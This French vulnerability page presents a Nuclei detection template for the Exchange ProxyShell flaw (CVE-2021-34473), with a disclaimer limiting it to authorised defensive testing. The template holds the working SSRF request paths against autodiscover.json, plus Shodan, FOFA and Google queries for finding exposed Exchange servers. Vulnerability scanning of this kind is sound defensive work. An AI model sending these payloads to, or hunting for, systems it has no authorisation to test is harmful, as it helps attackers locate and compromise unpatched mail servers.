Exploit matérialisé

CVE-2021-34473

CRITICAL KEV

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.

Nuclei critical Vérifié

Source

Exchange Server - Remote Code Execution

Par projectdiscovery

Comment tester cet exploit

Le template Nuclei EST le test : une règle de détection exécutable. Installez nuclei, puis lancez-le contre une cible que vous contrôlez.

nuclei -id CVE-2021-34473 -u https://your-target

Template yaml

id: CVE-2021-34473

info:
  name: Exchange Server - Remote Code Execution
  author: arcc,intx0x80,dwisiswant0,r3dg33k
  severity: critical
  description: |
    Microsoft Exchange Server is vulnerable to a remote code execution vulnerability. This CVE ID is unique from CVE-2021-31196, CVE-2021-31206.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected Exchange Server, potentially leading to a complete compromise of the system.
  remediation: Apply Microsoft Exchange Server 2019 Cumulative Update 9 or upgrade to the latest version.
  reference:
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473
    - https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html
    - https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1
    - https://nvd.nist.gov/vuln/detail/CVE-2021-34473
    - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-34473
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2021-34473
    cwe-id: CWE-918
    epss-score: 0.99999
    epss-percentile: 0.99997
    cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: microsoft
    product: exchange_server
    shodan-query:
      - vuln:cve-2021-26855
      - http.favicon.hash:1768726119
      - http.title:"outlook"
      - cpe:"cpe:2.3:a:microsoft:exchange_server"
    fofa-query:
      - title="outlook"
      - icon_hash=1768726119
    google-query: intitle:"outlook"
  tags: cve2021,cve,ssrf,rce,exchange,kev,microsoft,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com'
      - '{{BaseURL}}/autodiscover/autodiscover.json?@test.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3F@test.com'

    matchers:
      - type: word
        part: body
        words:
          - "Microsoft.Exchange.Clients.Owa2.Server.Core.OwaADUserNotFoundException"
          - "Exchange MAPI/HTTP Connectivity Endpoint"
        condition: or
# digest: 4a0a0047304502204d02c89207fa36717cd2826b0886b6757f6c7f74c6bbf32f1c891200a6b66663022100d7f8cdb9e4f9b0b112cda2cbaef97e143edebf2cf0a97fb3b267a543a440d65e:922c64590222798bb761d5b6d8e72950